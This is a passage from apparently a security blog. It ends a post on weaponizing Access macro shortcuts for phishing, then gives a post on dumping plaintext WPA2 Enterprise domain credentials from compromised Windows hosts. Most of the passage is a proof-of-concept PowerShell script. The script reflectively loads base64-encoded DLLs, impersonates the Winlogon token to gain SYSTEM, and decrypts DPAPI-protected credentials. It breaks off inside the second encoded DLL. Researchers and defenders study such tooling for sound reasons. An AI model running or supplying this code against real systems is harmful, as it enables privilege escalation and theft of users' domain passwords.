In this blog post I have walked you through the necessary steps to weaponize a Microsoft Access Macro shortcut to invoke a payload over HTTP. While this file type is commonly blocked by Microsoft Outlook, it is allowed in Gmail and may also be served via HTTP or SMB. I also showed you where to find artifacts and enable blocking of macros to prevent this type of attack.

It’s increasingly more important for defenders to be familiar with various phishing payloads and the artifacts they leave behind. I hope this post helps bring awareness about this specific attack vector and the Indicators of Compromise (IOC’s) associated with it.

Recovering Plaintext Domain Credentials from WPA2 Enterprise on a Compromised Host

( Original text  )

Introduction

Hello reader. In this post I will explain what I have learned from studying how windows stores credentials for WPA2 Enterprise.

This research conducted me to develop a tool capable of retrieving it, in plaintext! This could be useful when compromising AD workstations that use this kind of authentication in a Wireless Access Point.

Differences between WPA2 PSK and WPA2 Enterprise at Credential storage

To retrieve WPA2 PSK passwords there is no need for administrator rights or even elevated process, but for WPA2 Enterprise, it is needed. Because it is encrypted with SYSTEM DPAPI keys and only this user can decrypt it. So for that we need to own local administrator privileges.

When you first log-in to a WPA2 Enterprise network, DPAPI (Data Protection API) encrypts with the CURRENT USER encryption-key the domain password used to be connect to the AP. The result of this encryption is used to encrypt again, but now with SYSTEM encryption-key, alongside with Domain name and Username used to log-in to the AP.

The function used to decrypt the data, using the current-user DPAPI key is this one.

The procedure is like this:

  1. AP tells computer that log-in was successful with credentials inserted by the user.
  2. User encrypts password with DPAPI keys.
  3. SYSTEM encrypts domain and username with DPAPI keys alongside with output from step 2.
  4. SYSTEM stores data to HKCU registry hive.

How to retrieve this information

Do the reverse operation.

  1. Get data from HKCU registry hive
  2. Turn to SYSTEM and decrypt the first layer, this will decrypt Domain name and Username information.
  3. Revert back to user using RevertToSelf()
  4. Decrypt output from step 2 to get password plaintext data.

Proof-Of-Concept code

Enough of theory. I needed to dump my own credentials.

All code samples I found in the internet used PsExec to get a system shell. I dislike this method, and prefered to create a smooth experience by not relying on any external tool like tools from SysInternals. So I chose to use Token Impersonation from my “How to get system — Part 2” as it was working and only relies on PowerShell. This resulted in the following PowerShell script:


<span class="k">function </span>Get-System
<span class="o">{</span>
    <span class="k">if</span><span class="o">([</span>System.Threading.Thread]::CurrentThread.GetApartmentState<span class="o">()</span> -ne <span class="s1">'STA'</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="nb">Write-Output</span> <span class="s2">"This powershell shell is not in STA mode!"</span>;
        <span class="k">return</span> ;
    <span class="o">}</span>

    <span class="k">if</span><span class="o">(</span>-not <span class="o">([</span>System.Management.Automation.PSTypeName]<span class="s2">"zc00l.ImpersonationToken"</span><span class="o">)</span>.Type<span class="o">)</span> <span class="o">{</span>
        <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span class="s2">"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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV4aXN0aW5nVG9rZW5IYW5kbGUAcEhhbmRsZQBQcm9jZXNzSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwU3lzdGVtTmFtZQBscE5hbWUAVmFsdWVUeXBlAFRlcm1pbmF0ZQBQcmV2aW91c1N0YXRlAE5ld1N0YXRlAFZpcnR1YWxNZW1vcnlXcml0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBMb29rdXBQcml2aWxlZ2VWYWx1ZQBTeW5jaHJvbml6ZQBTaXplT2YAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQcml2aWxlZ2VDaGVjawB6YzAwbABNYXJzaGFsAEFsbABhZHZhcGkzMi5kbGwAa2VybmVsMzIuZGxsAEltcGVyc29uYXRpb25Ub2tlbkRMTC5kbGwAQ29udHJvbABTeXN0ZW0ARW51bQBTZXRUaHJlYWRUb2tlbgBEdXBsaWNhdGVUb2tlbgBoVG9rZW4ASW1wZXJzb25hdGlvblRva2VuAEltcGVyc29uYXRlUHJvY2Vzc1Rva2VuAE9wZW5Qcm9jZXNzVG9rZW4AQ2xpZW50VG9rZW4AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU2V0SW5mb3JtYXRpb24AUXVlcnlJbmZvcm1hdGlvbgBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAFplcm8ALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAUmVxdWlyZWRQcml2aWxlZ2VzAERpc2FibGVBbGxQcml2aWxlZ2VzAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBdHRyaWJ1dGVzAFJldHVybkxlbmd0aEluQnl0ZXMAQnVmZmVyTGVuZ3RoSW5CeXRlcwBQcm9jZXNzQWNjZXNzRmxhZ3MAZmxhZ3MARGVzaXJlZEFjY2VzcwBwcm9jZXNzQWNjZXNzAENyZWF0ZVByb2Nlc3MAT3BlblByb2Nlc3MAR2V0Q3VycmVudFByb2Nlc3MAT2JqZWN0AHBmUmVzdWx0AFByaXZpbGVnZUNvdW50AEhpZ2hQYXJ0AExvd1BhcnQAb3BfRXF1YWxpdHkAAAAAAAAANMB5wx4YykSS6Z0DEn72xgAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECAwcBGAMgAAgQBwsCERAYGBEYAgICAhEYAgIGGAUAAgIYGBUHDREQGBgRDBEUERQJAgICEQwRFAIGEAEBCB4ABAoBERQKBwgYGBgCAgICAgi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQAAACABP8PHwAECAAAAAQQAAAABCAAAAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAQAAAEAAAQAAIeAQECAgYIAgYJAwYREAQGHREMAwYRHAgAAwIODhAREAcAAxgRHAIIBwACGBJFERwHAAMCGAkQGAcAAwIYCBAYDgAGAhgCEBEUCRARFBAJAwAAGAkAAwIYEBEYEAIEAAECDgQAAQIIAwAAAQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAaAQAVSW1wZXJzb25hdGlvblRva2VuRExMAAAFAQAAAAAXAQASQ29weXJpZ2h0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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="o">))</span> | Out-Null
        <span class="nb">Write-Verbose</span> <span class="s2">"DLL has been reflected."</span>
    <span class="o">}</span>
   
    <span class="k">if</span><span class="o">(</span>-not <span class="o">[</span>zc00l.ImpersonationToken]::ImpersonateProcessToken<span class="o">((</span><span class="nb">Get-Process </span>Winlogon<span class="o">)</span>.Id<span class="o">))</span>
    <span class="o">{</span>
        <span class="nb">Write-Output</span> <span class="s2">"Could not Impersonate Token! Maybe you are not Local Admin?"</span>;
        <span class="k">return</span>;
    <span class="o">}</span>
    <span class="nb">Write-Output</span> <span class="s2">"We are: </span><span class="k">$(</span><span class="o">[</span>Environment]::Username<span class="k">)</span><span class="s2">"</span>
<span class="o">}</span>

<span class="k">function </span>Check-System
<span class="o">{</span>
    <span class="k">if</span><span class="o">([</span>Environment]::Username -eq <span class="s2">"SYSTEM"</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="k">return</span> <span class="nv">$true</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="nv">$false</span>
<span class="o">}</span>

<span class="k">function </span>Get-WlanEnterprisePassword
<span class="o">{</span>
   
    <span class="k">if</span><span class="o">([</span>Environment]::Username -ne <span class="s2">"SYSTEM"</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="c1"># Only SYSTEM user can dump the first stage decryption.</span>
        Get-System
        <span class="k">if</span><span class="o">(</span>-not <span class="o">(</span>Check-System<span class="o">))</span>
        <span class="o">{</span>
            <span class="nb">Write-Output</span> <span class="s2">"Only SYSTEM can dump DPAPI secrets!"</span>
            <span class="k">return</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span class="s2">"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